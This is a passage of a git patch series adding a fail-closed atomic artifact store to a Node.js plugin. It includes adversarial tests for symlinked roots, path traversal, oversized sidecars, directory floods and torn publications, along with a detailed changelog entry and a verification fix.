A sidecar describing a different relative path than its location. + const misplaced = JSON.stringify({ + schema: 'codex-co-engineer.artifact-store.v1', + artifact_ref: refFor(PAYLOAD, { relative_path: 'runs/elsewhere/x.patch' }), + byte_length: PAYLOAD.length, + sha256: digestOf(PAYLOAD), + }); + const original = readFileSync(metaLeaf, 'utf8'); + writeFileSync(metaLeaf, `${misplaced}\n`); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_foreign_entry'); + writeFileSync(metaLeaf, original); + + // Everything healed: verification passes again. + assert.equal(await store.verifyArtifact(BASE_REF).then((v) => v.verified), true); + } finally { + removeRoot(root); + } +}); + +test('oversized and malformed sidecars are bounded before allocation', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const metaLeaf = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + writeFileSync(metaLeaf, `${'x'.repeat(MAX_ARTIFACT_STORE_META_BYTES + 1)}`); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_metadata_malformed'); + await expectCode(() => closeAndReopen(root), 'artifact_metadata_malformed'); + } finally { + removeRoot(root); + } +}); + +test('unsafe roots are refused before anything else happens', async () => { + const missing = path.join(makeStoreRoot(), 'does-not-exist'); + try { + await expectCode(() => openArtifactStoreV1({ root: missing }), 'artifact_root_missing'); + const tooOpen = makeStoreRoot(); + try { + chmodSync(tooOpen, 0o755); + await expectCode(() => openArtifactStoreV1({ root: tooOpen }), 'artifact_root_unsafe'); + chmodSync(tooOpen, 0o700); + // Root that is actually a file. + const fileRoot = path.join(makeStoreRoot(), 'file-root'); + writeFileSync(fileRoot, 'not a directory'); + await expectCode(() => openArtifactStoreV1({ root: fileRoot }), 'artifact_root_unsafe'); + // Symlinked root. + const real = makeStoreRoot(); + const linkRoot = `${real}-link`; + try { + symlinkSync(real, linkRoot, 'dir'); + await expectCode(() => openArtifactStoreV1({ root: linkRoot }), 'artifact_root_unsafe'); + } finally { + rmSync(linkRoot, { force: true }); + removeRoot(real); + } + // Hostile option shapes. + await expectCode(() => openArtifactStoreV1({ root: 'relative/path' }), 'artifact_root_unsafe'); + await expectCode(() => openArtifactStoreV1({ root: `${makeStoreRoot()}/../x` }), 'artifact_root_unsafe'); + await expectCode(() => openArtifactStoreV1(null), 'invalid_type'); + await expectCode(() => openArtifactStoreV1({ root: '/tmp/x', extra: 1 }), 'unknown_key'); + } finally { + removeRoot(tooOpen); + } + } finally { + removeRoot(path.dirname(missing)); + } +}); + +test('namespace privacy and structure violations fail closed', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + // Group-readable published file. + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + chmod(contentLeaf, 0o644); + await expectCode(() => closeAndReopen(root), 'artifact_entry_unsafe'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + chmod(contentLeaf, 0o600); + // Group-writable namespace directory. + const nsDir = path.join(root, 'sanitized'); + chmod(nsDir, 0o770); + await expectCode(() => closeAndReopen(root), 'artifact_root_unsafe'); + chmod(nsDir, 0o700); + // A foreign directory inside a namespace. + mkdirSync(path.join(root, 'sanitized', 'smuggled'), { mode: 0o700 }); + await expectCode(() => closeAndReopen(root), 'artifact_foreign_entry'); + rmSync(path.join(root, 'sanitized', 'smuggled'), { recursive: true, force: true }); + // A foreign file directly inside a namespace. + writeFileSync(path.join(root, 'sanitized', 'stray.bin'), 'x'); + await expectCode(() => closeAndReopen(root), 'artifact_foreign_entry'); + rmSync(path.join(root, 'sanitized', 'stray.bin')); + assert.equal((await store.audit()).artifacts, 1); + } finally { + removeRoot(root); + } +}); + +test('directory floods and nesting depth hit bounded enumeration denials', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const leafDir = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', 'lane-alpha'); + // Flood one directory past the enumeration bound with legal-looking names. + for (let index = 0; index <= MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES; index += 1) { + writeFileSync(path.join(leafDir, `flood-${String(index).padStart(4, '0')}.json`), '{}'); + } + await expectCode(() => closeAndReopen(root), 'artifact_inventory_exceeded'); + for (let index = 0; index <= MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES; index += 1) { + rmSync(path.join(leafDir, `flood-${String(index).padStart(4, '0')}.json`)); + } + + // Nest deeper than the inherited segment bound. + let deep = path.join(root, 'sanitized', 'content'); + for (let level = 0; level < 20; level += 1) { + deep = path.join(deep, `l${level}`); + } + mkdirSync(deep, { recursive: true, mode: 0o700 }); + await expectCode(() => closeAndReopen(root), 'artifact_inventory_exceeded'); + rmSync(path.join(root, 'sanitized', 'content', 'l0'), { recursive: true, force: true }); + + // The audit-file ceiling is enforced on the sweep itself. + const manyRoot = makeStoreRoot(); + try { + const manyStore = await openArtifactStoreV1({ root: manyRoot }); + const floodDir = path.join(manyRoot, 'raw', 'content'); + mkdirSync(path.join(manyRoot, 'raw', 'meta'), { recursive: true, mode: 0o700 }); + mkdirSync(floodDir, { recursive: true, mode: 0o700 }); + const filler = Buffer.alloc(1024, 0x66); + for (let index = 0; index < MAX_ARTIFACT_STORE_AUDIT_FILES + 1; index += 1) { + writeFileSync(path.join(floodDir, `f${String(index).padStart(5, '0')}`), filler); + writeFileSync(path.join(manyRoot, 'raw', 'meta', `f${String(index).padStart(5, '0')}.json`), '{}'); + } + await expectCode(() => auditArtifactStoreV1(manyStore), 'artifact_inventory_exceeded'); + } finally { + removeRoot(manyRoot); + } + } finally { + removeRoot(root); + } +}); + +test('every typed denial stays content-free across the whole battery', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const observations = []; + const probes = [ + () => store.publish(countingProxy(BASE_REF).proxy, PAYLOAD), + () => store.publish(BASE_REF, stringChunkSource()), + () => store.verifyArtifact(BASE_REF), + () => store.publish(refFor(PAYLOAD, { relative_path: '../escape' }), PAYLOAD), + () => openArtifactStoreV1({ root: `${root}/missing` }), + () => store.publish(BASE_REF, new SubclassedBytes(4)), + ]; + for (const probe of probes) { + try { + await probe(); + } catch (error) { + if (error instanceof RunContractV1Error) observations.push(error); + else throw error; + } + } + assert.equal(observations.length >= 4, true); + for (const error of observations) assertContentFree(error, root, PAYLOAD); + } finally { + removeRoot(root); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-store.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-store.test.mjs new file mode 100644 index 0000000..2696cf9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-store.test.mjs @@ -0,0 +1,400 @@ +import assert from 'node:assert/strict'; +import path from 'node:path'; +import test from 'node:test'; + +import { + ARTIFACT_STORE_CONTENT_DIR, + ARTIFACT_STORE_META_DIR, + ARTIFACT_STORE_ERROR_CODES, + ARTIFACT_STORE_INVENTORY_LABEL, + ARTIFACT_STORE_MAX_DEPTH, + ARTIFACT_STORE_META_SUFFIX, + ARTIFACT_STORE_NAMESPACES, + ARTIFACT_STORE_SCHEMA_ID, + ARTIFACT_STORE_TEMP_NAME_PATTERN, + MAX_ARTIFACT_STORE_AUDIT_FILES, + MAX_ARTIFACT_STORE_META_BYTES, + MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES, + auditArtifactStoreV1, + openArtifactStoreV1, + publishArtifactV1, + verifyStoredArtifactsV1, + verifyStoredArtifactV1, +} from '../mcp/v3/artifact-store.mjs'; +import { + ARTIFACT_REF_SCHEMA_ID, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, +} from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CHILD_B, + chunksOf, + digestOf, + emptyStream, + endlessSource, + makeStoreRoot, + refFor, + removeRoot, + RUN_ID, +} from './fixtures/r1-artifact-store-fixtures.mjs'; + +const PAYLOAD = Buffer.from('authoritative artifact bytes for P08\n'); +const SECOND = Buffer.from('a second artifact published through a stream\n'); + +async function errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) assert.equal(error.code, expectedCode); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +test('the closed vocabulary and layout constants are exported frozen', () => { + assert.equal(ARTIFACT_STORE_SCHEMA_ID, 'codex-co-engineer.artifact-store.v1'); + assert.deepEqual([...ARTIFACT_STORE_NAMESPACES], ['raw', 'sanitized']); + assert.equal(Object.isFrozen(ARTIFACT_STORE_NAMESPACES), true); + assert.equal(Object.isFrozen(ARTIFACT_STORE_ERROR_CODES), true); + for (const code of [ + 'artifact_content_conflict', 'artifact_metadata_conflict', 'artifact_digest_mismatch', + 'artifact_length_mismatch', 'artifact_torn_publication', 'artifact_torn_temporary', + 'artifact_foreign_entry', 'artifact_stream_over_cap', 'artifact_not_found', + ]) { + assert.ok(ARTIFACT_STORE_ERROR_CODES.includes(code), code); + } + assert.equal(ARTIFACT_STORE_CONTENT_DIR, 'content'); + assert.equal(ARTIFACT_STORE_META_DIR, 'meta'); + assert.equal(ARTIFACT_STORE_META_SUFFIX, '.json'); + assert.match(ARTIFACT_STORE_TEMP_NAME_PATTERN.source, /tmp/); + assert.equal(typeof ARTIFACT_STORE_INVENTORY_LABEL, 'string'); + assert.equal(ARTIFACT_STORE_MAX_DEPTH > 0, true); + assert.equal(MAX_ARTIFACT_STORE_AUDIT_FILES > 0, true); + assert.equal(MAX_ARTIFACT_STORE_META_BYTES >= MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES, true); +}); + +test('a validated buffer publication returns detached frozen content-free metadata', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const receipt = await store.publish(refFor(PAYLOAD), PAYLOAD); + assert.equal(receipt.schema, ARTIFACT_STORE_SCHEMA_ID); + assert.deepEqual(Object.keys(receipt), [ + 'schema', 'artifact_ref', 'namespace', 'byte_length', 'sha256', 'ref_digest', 'created', + ]); + assert.equal(receipt.created, true); + assert.equal(receipt.namespace, 'sanitized'); + assert.equal(receipt.byte_length, PAYLOAD.length); + assert.equal(receipt.sha256, digestOf(PAYLOAD)); + assert.equal(receipt.artifact_ref.relative_path, `runs/${RUN_ID}/lane-alpha/diff.patch`); + assert.equal(Object.isFrozen(receipt), true); + assert.equal(Object.isFrozen(receipt.artifact_ref), true); + assert.match(receipt.ref_digest, /^[0-9a-f]{64}$/u); + // Content-free: the receipt never carries the root path or any bytes. + const projected = JSON.stringify(receipt); + assert.equal(projected.includes(root), false); + assert.equal(projected.includes(path.basename(root)), false); + assert.equal(projected.includes(PAYLOAD.toString('utf8').trim()), false); + // Detached: mutating the caller view afterwards changes nothing. + const verdict = await store.verifyArtifact(refFor(PAYLOAD)); + assert.equal(verdict.verified, true); + assert.deepEqual(Object.keys(verdict), [ + 'schema', 'artifact_ref', 'namespace', 'byte_length', 'sha256', 'verified', + ]); + } finally { + removeRoot(root); + } +}); + +test('buffer and bounded async stream sources store identical state deterministically', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const viaBuffer = await store.publish(refFor(SECOND), SECOND); + const streamRef = refFor(SECOND, { + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/diff.patch`, + }); + const viaStream = await store.publish(streamRef, chunksOf(SECOND, 5)); + assert.equal(viaBuffer.sha256, viaStream.sha256); + assert.equal(viaBuffer.byte_length, viaStream.byte_length); + const batch = await store.verifyArtifacts([streamRef, refFor(SECOND)]); + assert.equal(batch.length, 2); + for (const verdict of batch) assert.equal(verdict.verified, true); + } finally { + removeRoot(root); + } +}); + +test('exact same validated ref plus bytes is idempotent; nothing else is', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const first = await store.publish(refFor(PAYLOAD), PAYLOAD); + const replay = await store.publish(refFor(PAYLOAD), PAYLOAD); + assert.equal(first.created, true); + assert.equal(replay.created, false); + assert.equal(first.ref_digest, replay.ref_digest); + assert.equal(replay.byte_length, first.byte_length); + assert.equal(replay.sha256, first.sha256); + // Conflicting content at the same location fails closed. + const other = Buffer.from('conflicting content'); + await errorOfAsync( + () => store.publish(refFor(other), other), + 'artifact_content_conflict', + ); + // Same digest with mismatched metadata fails closed. + await errorOfAsync( + () => store.publish(refFor(PAYLOAD, { media_type: 'application/json' }), PAYLOAD), + 'artifact_metadata_conflict', + ); + await errorOfAsync( + () => store.publish(refFor(PAYLOAD, { run_id: `${RUN_ID}-x` }), PAYLOAD), + 'artifact_metadata_conflict', + ); + // The authoritative artifact survived every conflict untouched. + assert.equal((await store.audit()).artifacts, 1); + assert.equal((await store.publish(refFor(PAYLOAD), PAYLOAD)).created, false); + } finally { + removeRoot(root); + } +}); + +test('raw and sanitized namespaces stay disjoint at one relative path', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const sharedPath = `runs/${RUN_ID}/shared/report.bin`; + const sanitized = Buffer.from('model-facing projection'); + const raw = Buffer.from('owner-only local evidence that never faces the model'); + const sanitizedRef = refFor(sanitized, { relative_path: sharedPath }); + const rawRef = refFor(raw, { relative_path: sharedPath, artifact_class: 'raw' }); + await store.publish(sanitizedRef, sanitized); + await store.publish(rawRef, raw); + const report = await store.audit(); + assert.equal(report.namespaces.sanitized.artifacts, 1); + assert.equal(report.namespaces.raw.artifacts, 1); + assert.deepEqual(report.entries.map((entry) => entry.artifact_class), ['raw', 'sanitized']); + assert.equal(await store.verifyArtifact(sanitizedRef).then((v) => v.verified), true); + assert.equal(await store.verifyArtifact(rawRef).then((v) => v.verified), true); + } finally { + removeRoot(root); + } +}); + +test('declared byte_length and sha256 are untrusted claims checked before publication', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const wrongLength = refFor(Buffer.from('0123456789'), {}); + await errorOfAsync( + () => store.publish({ ...wrongLength, byte_length: 11 }, Buffer.from('0123456789')), + 'artifact_length_mismatch', + ); + await errorOfAsync( + () => store.publish({ + ...wrongLength, sha256: 'bb'.repeat(32), + }, Buffer.from('0123456789')), + 'artifact_digest_mismatch', + ); + // Short and empty streams fail against their declared claims. + await errorOfAsync(() => store.publish(wrongLength, emptyStream()), 'artifact_length_mismatch'); + // Nothing was published and no temporary was left behind. + const report = await store.audit(); + assert.equal(report.artifacts, 0); + assert.equal(report.inventory_digest.length, 64); + await errorOfAsync( + () => store.verifyArtifact(wrongLength), + 'artifact_not_found', + ); + } finally { + removeRoot(root); + } +}); + +test('the class cap is enforced before over-allocation on streams and buffers alike', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + // Declaring above the class cap stays a P07 denial before any effect. + await errorOfAsync( + () => store.publish(refFor( + Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1), + { relative_path: `runs/${RUN_ID}/too-big.bin` }, + ), Buffer.alloc(1)), + 'out_of_range', + ); + // A declaration pinned exactly at the cap plus a source that outruns it + // hits the store's own streaming enforcement. + const atCap = refFor(PAYLOAD, { + relative_path: `runs/${RUN_ID}/at-cap.bin`, + byte_length: MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + }); + await errorOfAsync( + () => publishArtifactV1(store, atCap, + Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1)), + 'artifact_stream_over_cap', + ); + // A hostile endless stream is stopped by the cap without unbounded work. + await errorOfAsync( + () => publishArtifactV1(store, atCap, (async function* () { + while (true) yield Buffer.alloc(4096, 0x61); + })()), + 'artifact_stream_over_cap', + ); + await errorOfAsync( + () => publishArtifactV1(store, atCap, endlessSource()), + 'artifact_stream_over_cap', + ); + // The raw namespace tolerates what sanitized cannot. + const beyondSanitized = Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, 0x64); + const rawReceipt = await store.publish( + refFor(beyondSanitized, { artifact_class: 'raw', relative_path: `runs/${RUN_ID}/wide.bin` }), + beyondSanitized, + ); + assert.equal(rawReceipt.namespace, 'raw'); + assert.equal((await store.audit()).namespaces.raw.bytes, beyondSanitized.length); + } finally { + removeRoot(root); + } +}); + +test('verification audits a bounded ordered batch and inherits P07 batch discipline', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const refs = []; + for (let index = 0; index < 4; index += 1) { + const bytes = Buffer.from(`artifact-${index}`); + const ref = refFor(bytes, { relative_path: `runs/${RUN_ID}/lane-${index}/a.patch` }); + await store.publish(ref, bytes); + refs.push(ref); + } + const forward = await store.verifyArtifacts(refs); + const backward = await store.verifyArtifacts([...refs].reverse()); + assert.deepEqual(JSON.stringify(forward), JSON.stringify(backward)); + // Duplicates are denied instead of collapsed (P07 vocabulary). + await errorOfAsync(() => store.verifyArtifacts([refs[0], refs[0]]), 'duplicate_artifact_ref'); + // Batches above the closed bound are denied before any verification. + const tooMany = Array.from({ length: 65 }, (_, index) => refFor( + Buffer.from([index]), { relative_path: `runs/${RUN_ID}/overflow/${index}.bin` }, + )); + await errorOfAsync(() => store.verifyArtifacts(tooMany), 'refs_exceeded'); + } finally { + removeRoot(root); + } +}); + +test('concurrent identical submissions compose into one winner plus idempotent losers', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const submissions = Array.from({ length: 8 }, () => + store.publish(refFor(PAYLOAD), PAYLOAD)); + const receipts = await Promise.all(submissions); + const created = receipts.filter((receipt) => receipt.created); + assert.equal(created.length, 1); + const digests = new Set(receipts.map((receipt) => receipt.ref_digest)); + assert.equal(digests.size, 1); + const report = await store.audit(); + assert.equal(report.artifacts, 1); + assert.equal(report.namespaces.sanitized.artifacts, 1); + } finally { + removeRoot(root); + } +}); + +test('concurrent conflicting submissions fail closed with one deterministic winner', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const winner = Buffer.from('the winning bytes'); + const loser = Buffer.from('the losing bytes!'); + const attempts = [ + ...Array.from({ length: 4 }, () => ({ ref: refFor(winner), source: winner })), + ...Array.from({ length: 4 }, () => ({ ref: refFor(loser), source: loser })), + ]; + const settled = await Promise.allSettled(attempts.map(({ ref, source }) => + store.publish(ref, source))); + const fulfilled = settled.filter((entry) => entry.status === 'fulfilled'); + const rejected = settled.filter((entry) => entry.status === 'rejected'); + assert.equal(fulfilled.length + rejected.length, attempts.length); + assert.equal(fulfilled.length >= 1, true); + for (const rejection of rejected) { + assert.ok(rejection.reason instanceof RunContractV1Error); + assert.equal(rejection.reason.code, 'artifact_content_conflict'); + } + const survivingDigests = new Set(fulfilled.map((entry) => entry.value.sha256)); + assert.equal(survivingDigests.size, 1); + const report = await store.audit(); + assert.equal(report.artifacts, 1); + assert.equal(report.entries[0].byte_length, + fulfilled[0].value.byte_length); + const survivingBytes = fulfilled[0].value.sha256 === digestOf(winner) ? winner : loser; + assert.equal(await store.verifyArtifact(refFor(survivingBytes)) + .then((verdict) => verdict.verified), true); + } finally { + removeRoot(root); + } +}); + +test('restart verification reproduces one stable inventory fingerprint', async () => { + const root = makeStoreRoot(); + try { + const first = await openArtifactStoreV1({ root }); + await first.publish(refFor(PAYLOAD), PAYLOAD); + await first.publish(refFor(SECOND, { + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/diff.patch`, + artifact_class: 'raw', + }), SECOND); + const before = await first.audit(); + assert.equal(before.artifacts, 2); + assert.equal(before.inventory_digest.length, 64); + + const reopened = await openArtifactStoreV1({ root }); + const after = await reopened.audit(); + assert.equal(after.inventory_digest, before.inventory_digest); + assert.deepEqual(after.namespaces, before.namespaces); + assert.deepEqual(JSON.stringify(after.entries), JSON.stringify(before.entries)); + + // Any meaningful stored change must move the fingerprint. + const third = Buffer.from('a third artifact'); + await reopened.publish(refFor(third, { + relative_path: `runs/${RUN_ID}/third/a.patch`, + }), third); + const changed = await reopened.audit(); + assert.notEqual(changed.inventory_digest, before.inventory_digest); + assert.equal(changed.artifacts, 3); + } finally { + removeRoot(root); + } +}); + +test('audits are sorted, bounded, and describe only content-free metadata', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + for (let index = 0; index < 3; index += 1) { + const bytes = Buffer.from(`audit-${index}`); + await store.publish(refFor(bytes, { + relative_path: `runs/${RUN_ID}/z-${2 - index}/a.patch`, + }), bytes); + } + const report = await store.audit(); + assert.equal(report.schema, ARTIFACT_STORE_SCHEMA_ID); + const paths = report.entries.map((entry) => entry.relative_path); + assert.deepEqual(paths, [...paths].sort()); + for (const entry of report.entries) { + assert.deepEqual(Object.keys(entry), [ + 'artifact_class', 'relative_path', 'byte_length', 'sha256', + ]); + } + const projected = JSON.stringify(report); + assert.equal(projected.includes(root), false); + } finally { + removeRoot(root); + } +}); From 0cbd6b814bc8ec63f4d49286633f0543aef45fa3 Mon Sep 17 00:00:00 2001 From: cole Date: Sat, 22 Aug 2026 21:05:41 +0000 Subject: [PATCH 012/151] docs(changelog): record the P08 atomic artifact store Document the private-root namespace layout, the untrusted-claim streaming publication with exclusive-link atomicity, idempotency and typed conflict semantics, descriptor/no-follow root and parent discipline, bounded streaming verification and audit with a restart-stable inventory fingerprint, and the explicit non-goals that remain for later slices. --- CHANGELOG.md | 47 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index ef2e910..722e487 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,53 @@ ### Added +- **Atomic raw/sanitized artifact store.** Adds the additive v3 + `artifact-store.mjs` module for W4-P08: it binds validated ArtifactRefV1 + declarations to real bytes under one caller-supplied existing private store + root, mapping each strict relative path segment-for-segment into disjoint + `raw/` and `sanitized/` namespaces (`content/` plus a strictly parsed + canonical sidecar per artifact), so raw evidence and model-facing + projections never collide even at one path and no parallel ref or path + schema is introduced - references are parsed with `parseArtifactRefV1` and + nothing else, so traversal, absolute paths, reserved device names, + separator look-alikes, and Unicode tricks inherit the exact P07 denials. + Sources are intrinsic Buffer/Uint8Array views or bounded async iterables of + such views; proxies, subclasses, SharedArrayBuffer backings, strings, + accessor-shaped iterables, and arbitrary class instances are denied before + any byte is read. Declared byte length and SHA-256 are treated as untrusted + claims: bytes stream into an unpredictable owner-only same-directory + temporary while the class cap (sanitized 256 KiB, raw 32 MiB) is enforced + on every chunk before it is written, actual length and digest are computed + from the streamed bytes, and both must match the declaration exactly before + publication; the temporary is fsynced, published by exclusive hardlink that + refuses to clobber, unlinked, and the parent directories fsynced, so no + partial artifact ever exists under an authoritative name. Exact same + validated ref plus bytes is idempotent across concurrent submissions (one + deterministic winner plus idempotent losers behind a per-root operation + chain); conflicting content at one location, the same digest under + different metadata, or any other competing publication fails closed with + typed content-free errors and leaves the authoritative state untouched, + rolling back a race loser's own link only when the platform proves the + inode is ours. Roots and parents use descriptor/no-follow discipline - + O_NOFOLLOW|O_DIRECTORY opens, device/inode identity brackets, lstat-walked + 0700 parent chains re-proven after publication - rejecting missing, + non-private, symlinked, replaced, and swapped roots and parents wherever + provable. Verification and audit stream stored bytes in fixed chunks solely + to recompute length and digest (never returning or buffering content), + enumerate with bounded per-directory entries, files, depth, and total + audited bytes, and condemn leftover or torn temporaries (a reserved name + grammar artifacts may never spell), orphaned or duplicate sidecars, + symlinks, hardlinks, FIFOs and other non-regular entries, foreign names, + truncated or oversized content, malformed or misplaced metadata, and + content swapped under a path; audits return detached frozen metadata plus a + framed inventory fingerprint that restarts reproduce exactly. Receipts, + verdicts, and reports are deep-frozen, content-free, and never echo the + store root, artifact bytes, or operating-system errors. Out of scope and + unclaimed: P09 sanitization, the P10 reader, the P13 evidence bundle, + cleanup, scheduler/provider/supervisor wiring, and protected references; + a torn store stays torn and fails closed until an operator acts. Coverage + lives in `test/r1-artifact-store.test.mjs` and + `test/r1-artifact-store-adversarial.test.mjs`. - **ArtifactRefV1 and the strict relative artifact path policy.** Adds two additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one deterministic fail-closed question - is this string a strict portable From ef0d7dc73ffcda00b06f0d07f3273314575a3ae7 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 21:30:40 +0000 Subject: [PATCH 013/151] fix(v3): reject reserved parents and verify stored snapshots Deny the private temporary-name grammar on every artifact path segment and its sidecar form before publication, not only the leaf, so a reserved parent cannot publish and later self-condemn as crash debris. Verification retains the stored sidecar snapshot, fails mismatches with the same content/metadata split as publish, and measures bytes against the sidecar digest and length rather than the caller view. --- .../mcp/v3/artifact-store.mjs | 27 +++++++---- .../r1-artifact-store-adversarial.test.mjs | 46 +++++++++++++++++++ 2 files changed, 63 insertions(+), 10 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs index 645d32e..140feb7 100644 --- a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs +++ b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs @@ -904,9 +904,9 @@ async function measurePublishedContent(targetPath, snapshot) { } // Verify one stored location end-to-end against one validated reference: -// sidecar presence, strict shape, regular-file discipline, streaming -// length/digest agreement, and exact reference equality. Returns the stored -// reference snapshot on success. +// sidecar presence, strict shape, exact stored-vs-requested snapshot +// equality, regular-file discipline, and streaming length/digest agreement +// against the stored sidecar claims (never the caller view). async function verifyLocation(rootPath, snapshot) { const locations = namespaceLocations(rootPath, snapshot.artifact_class, snapshot.relative_path); const metaOpened = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, 'meta'); @@ -919,8 +919,13 @@ async function verifyLocation(rootPath, snapshot) { } failStore('artifact_not_found', 'artifact_ref', 'No stored artifact exists for that reference.'); } - parseMetaDocument(metaOpened.bytes, snapshot.artifact_class, snapshot.relative_path, 'meta'); - await measurePublishedContent(locations.contentTarget, snapshot); + const storedSnapshot = parseMetaDocument(metaOpened.bytes, snapshot.artifact_class, + snapshot.relative_path, 'meta'); + if (canonicalSnapshotText(storedSnapshot) !== canonicalSnapshotText(snapshot)) { + failStore(classifyExistingConflict(storedSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + await measurePublishedContent(locations.contentTarget, storedSnapshot); return locations; } @@ -1190,11 +1195,13 @@ function classifyExistingConflict(existingSnapshot, snapshot) { async function publishPrepared(root, snapshot, source) { const locations = namespaceLocations(root.path, snapshot.artifact_class, snapshot.relative_path); const cap = maxByteLengthForClass(snapshot.artifact_class); - const leaf = locations.segments[locations.segments.length - 1]; - if (capturedTest(PRIVATE_TEMP_NAME_PATTERN, leaf) - || capturedTest(PRIVATE_TEMP_NAME_PATTERN, `${leaf}${ARTIFACT_STORE_META_SUFFIX}`)) { - failStore('artifact_reserved_name_denied', 'artifact_ref.relative_path', - 'An artifact path may not spell the reserved temporary-name grammar.'); + for (let index = 0; index < locations.segments.length; index += 1) { + const segment = locations.segments[index]; + if (capturedTest(PRIVATE_TEMP_NAME_PATTERN, segment) + || capturedTest(PRIVATE_TEMP_NAME_PATTERN, `${segment}${ARTIFACT_STORE_META_SUFFIX}`)) { + failStore('artifact_reserved_name_denied', 'artifact_ref.relative_path', + 'An artifact path may not spell the reserved temporary-name grammar.'); + } } const captures = []; diff --git a/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs index dfc2be1..3823988 100644 --- a/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs @@ -441,6 +441,52 @@ test('crash debris: torn temporaries, orphaned content, and orphaned sidecars st } }); +test('a reserved temporary-name parent cannot publish and later self-condemns', async () => { + const { root, store } = await freshStore(); + try { + const reserved = `.tmp-${'a'.repeat(32)}`; + const bytes = Buffer.from('temp-segment payload'); + const reservedRef = refFor(bytes, { relative_path: `runs/${reserved}/x.bin` }); + await expectCode(() => store.publish(reservedRef, bytes), 'artifact_reserved_name_denied'); + // Denial leaves the store clean: later audit/open must not self-condemn. + assert.equal((await store.audit()).artifacts, 0); + assert.equal((await closeAndReopen(root).then((reopened) => reopened.audit())).artifacts, 0); + + // Operator-planted reserved parents remain crash debris, not artifacts. + mkdirSync(path.join(root, 'sanitized', 'content', 'runs', reserved), { recursive: true, mode: 0o700 }); + writeFileSync(path.join(root, 'sanitized', 'content', 'runs', reserved, 'x.bin'), bytes); + await expectCode(() => store.audit(), 'artifact_torn_temporary'); + await expectCode(() => closeAndReopen(root), 'artifact_torn_temporary'); + } finally { + removeRoot(root); + } +}); + +test('verification compares stored snapshots and never trusts a caller-forged digest', async () => { + const { root, store } = await freshStore(); + try { + await store.publish(BASE_REF, PAYLOAD); + await expectCode( + () => store.verifyArtifact(refFor(PAYLOAD, { media_type: 'application/json' })), + 'artifact_metadata_conflict', + ); + await expectCode( + () => store.verifyArtifact(refFor(PAYLOAD, { run_id: 'run-store-99' })), + 'artifact_metadata_conflict', + ); + assert.equal(await store.verifyArtifact(BASE_REF).then((verdict) => verdict.verified), true); + + const swapped = Buffer.from(PAYLOAD.map((byte) => byte ^ 0x01)); + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + writeFileSync(contentLeaf, swapped); + await 